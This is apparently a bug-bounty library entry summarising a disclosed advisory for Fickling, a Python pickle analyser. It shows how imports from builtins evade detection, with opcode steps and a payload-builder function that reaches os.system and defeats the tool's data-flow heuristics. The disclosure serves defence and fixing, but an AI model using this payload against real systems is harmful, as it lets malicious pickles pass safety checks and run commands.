# Fickling vulnerable to detection bypass due to "builtins" blindness

Fickling's pickle analyzer drops import AST nodes for builtins, so a pickle using builtins.__import__ to reach os.system is classified LIKELY_SAFE.

- Payout: Research
- Severity: high
- Program: Fickling
- Found by: 0x-Apollyon
- Disclosed: 2026-01-09
- CVE: CVE-2026-22612
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-h4rm-mm56-xf63
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-h4rm-mm56-xf63
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:deserialization vuln:misconfiguration vuln:rce

**Target:** Python pickle static analysis tool (Fickling)
**Root cause:** FickleImport.run() skips emitting ast.ImportFrom when the module is __builtin__/__builtins__/builtins, so the UNSAFE_MODULES check never sees the import even though builtins is listed as dangerous.
**Steps:**
1. Read fickle.py FickleImport.run: `if module in ("__builtin__", "__builtins__", "builtins"): pass` skips emitting the import node.
2. Note analysis.py UNSAFE_MODULES lists builtins as dangerous but is never matched.
3. Craft pickle opcodes: `cbuiltins\n__import__\n` + `S'os'\n` + `\x85R` to get os module.
4. Chain `builtins\ngetattr\n` with memoized os and `S'system'\n` + `\x86R` to get os.system.
5. Call `os.system('whoami')` via `g1\nS'whoami'\n\x85R`.
6. Wrap result in `cbuiltins\nException\n)R` and use `}S'rce_status'\ng2\nsb` (BUILD) so data-flow sees the value used, avoiding UNUSED flags.
7. Run Fickling on raw_bypass.pkl: it renders `_var0 = __import__('os')` with no builtins reference and classifies LIKELY_SAFE.
**How found:** Code reading of the bytecode-to-AST translation: noticed builtins imports are silently dropped while still listed in UNSAFE_MODULES, then built a raw opcode pickle to confirm the analyzer output omits builtins.
**Exploitation:** A malicious pickle file delivered to a victim who runs Fickling as a pre-execution safety gate passes analysis as LIKELY_SAFE, then executes os.system('whoami') (arbitrary command) when unpickled.
**Insight:** When auditing a security tool, diff its unsafe-list against the code paths that actually emit nodes for analysis; any early-return/skip branch (here the builtins special case) creates a blind spot. Also defeat data-flow 'unused variable' heuristics by feeding results into a BUILD/__setstate__ dict so tainted values look consumed.

## Proof of concept (copied exactly from the original report)

**Raw pickle payload builder using builtins __import__**

```
def generate_raw_payload():
    payload = b""

    payload += GLOBAL + b"builtins\n__import__\n"
    payload += STRING + b"'os'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # _var0 = os module
    payload += POP

    payload += GLOBAL + b"builtins\ngetattr\n"
    payload += GET + b"0\n" # os module
    payload += STRING + b"'system'\n"
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # _var1 = os.system
    payload += POP

    payload += GET + b"1\n" # os.system
    payload += STRING + b"'whoami'\n" # COMMAND
    payload += TUPLE1 + REDUCE
    payload += PUT + b"2\n" 
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"3\n"
    
    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"2\n" 
    payload += SETITEM  
    
    payload += BUILD
    
    payload += STOP

    return payload
```

**Vulnerable builtins import suppression in fickle.py**

```
if module in ("__builtin__", "__builtins__", "builtins"):
            # no need to emit an import for builtins!
            pass
        else:
            alias = ast.alias(attr)
            interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
        interpreter.stack.append(ast.Name(attr, ast.Load()))
```

